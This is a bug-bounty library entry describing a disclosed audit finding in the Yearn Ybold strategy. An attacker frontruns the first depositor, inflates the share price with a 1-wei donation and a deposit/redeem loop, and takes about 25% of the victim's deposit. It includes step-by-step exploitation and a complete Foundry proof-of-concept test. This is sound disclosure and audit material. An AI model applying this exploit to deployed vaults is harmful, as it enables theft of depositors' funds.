# A malicious attacker can steal 25% of the funds of the first depositor in a strategy

Yearn Ybold strategy lacks initial deposit, letting attacker inflate share price via donation/report loop and steal 25% of first depositor's funds.

- Payout: Audit contest
- Severity: high
- Program: Yearn Ybold
- Found by: Obsidian
- Disclosed: 2025-05-21
- Write-up quality: 8/10
- Original: https://github.com/sherlock-audit/2025-05-yearn-ybold-judging/issues/154
- Library page: https://bugbountylibrary.com/r/sherlock%3A2025-05-yearn-ybold%3AH-1
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:high tech:evm tech:solidity technique:chained vuln:accounting-error vuln:share-inflation

**Target:** TokenizedStrategy vault share accounting in Strategy.sol
**Root cause:** Strategy does not perform an initial deposit at construction, so totalAssets/totalShares can be inflated by an attacker donating 1 wei and reporting profit, then looping deposit/redeem to exponentially inflate share value.
**Steps:**
1. Attacker deposits 1 wei BOLD into strategy
2. Attacker transfers 1 wei BOLD directly to strategy and calls `report()` to reach totalAssets=2, totalShares=1
3. In a single tx, loop: `deposit(totalAssets*2 - 1)` then `redeem(1)` until totalAssets > 1 + userDeposit/2, then `withdraw(totalAssets - (1 + userDeposit/2))`
4. Victim deposits 1e23 BOLD; owed 1.9999999 shares rounds down to 1 share
5. Attacker redeems 1 share for half of totalAssets (~$75k), profiting $25k while victim loses 25%
**How found:** Researcher noted Strategy inherits TokenizedStrategy vault logic and StrategyFactory does not seed an initial deposit, making share value inflatable; recognized classic first-depositor inflation attack applies.
**Exploitation:** Attacker frontruns first depositor's mempool tx, inflates share price to $50k + 1 wei per share via deposit/redeem donation loop in one tx, victim's deposit rounds to 1 share, attacker redeems for half the pool.
**Insight:** When a vault/strategy is deployed without a dead-shares initial deposit, check whether an attacker can reach totalAssets=2/totalShares=1 via a 1 wei donation + report, then loop deposit/redeem to exponentially inflate share price before the first real depositor lands.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test stealing first depositor funds**

```
function test_steal_from_first_deposit() public {
    address attacker = makeAddr("attacker");
    
    deal(address(asset), attacker, 1e23);
    deal(address(asset), user, 1e23);

    uint attackerBalanceBefore = asset.balanceOf(attacker);
    uint userBalanceBefore = asset.balanceOf(user);


    ////////// TX 1 //////////
    
    vm.startPrank(management);
    strategy.setProfitMaxUnlockTime(0);

    vm.startPrank(attacker);
    asset.approve(address(strategy), type(uint256).max);

    // deposit 1 wei of assets
    strategy.deposit(1, attacker);

    // donate and report a profit of 1 wei (to achieve initial state of 2 assets, 1 share)
    asset.transfer(address(strategy), 1);

    vm.startPrank(management);
    strategy.report();

    console2.log("totalAssets %e", strategy.totalAssets());
    console2.log("totalSupply %e", strategy.totalSupply());

    // innocent user intends to deposit 1e23 BOLD (~$100k)
    uint userDeposit = 1e23;

    vm.startPrank(attacker);
    // in a single tx, attacker frontruns user by exponentially inflating share value to $50k + 1 
    while (true) {
        strategy.deposit(strategy.totalAssets() * 2 - 1, attacker);

        if (strategy.totalAssets() > 1 + userDeposit / 2) {

            strategy.withdraw(strategy.totalAssets() - (1 + userDeposit / 2), attacker, attacker, 10_000);

            console2.log("totalAssets %e", strategy.totalAssets());
            console2.log("totalSupply %e", strategy.totalSupply());

            break;
        }
        strategy.redeem(1, attacker, attacker, 10_000);
    }

    ////////// TX 2 //////////

    // user deposits 1e23 BOLD (~$100k)
    // they are meant to receive 1.99999999 shares, this is rounded down to 1 share
    vm.startPrank(user);
    asset.approve(address(strategy), userDeposit);
    strategy.deposit(userDeposit, user);
   
    // attacker withdraws funds, stealing 25% of depositor's funds
    vm.startPrank(attacker);
    uint assets = strategy.redeem(strategy.balanceOf(attacker), attacker, attacker, 10_000);
    
    vm.startPrank(user);
    uint userAssets = strategy.redeem(strategy.maxRedeem(user), user, user, 10_000);

    uint attackerBalanceAfter = asset.balanceOf(attacker);
    uint userBalanceAfter = asset.balanceOf(user);

    console2.log("attacker profit %e", (attackerBalanceAfter - attackerBalanceBefore));
    console2.log("user loss %e", (userBalanceBefore - userBalanceAfter));
    console2.log("user's deposit %e", userDeposit);
}
```

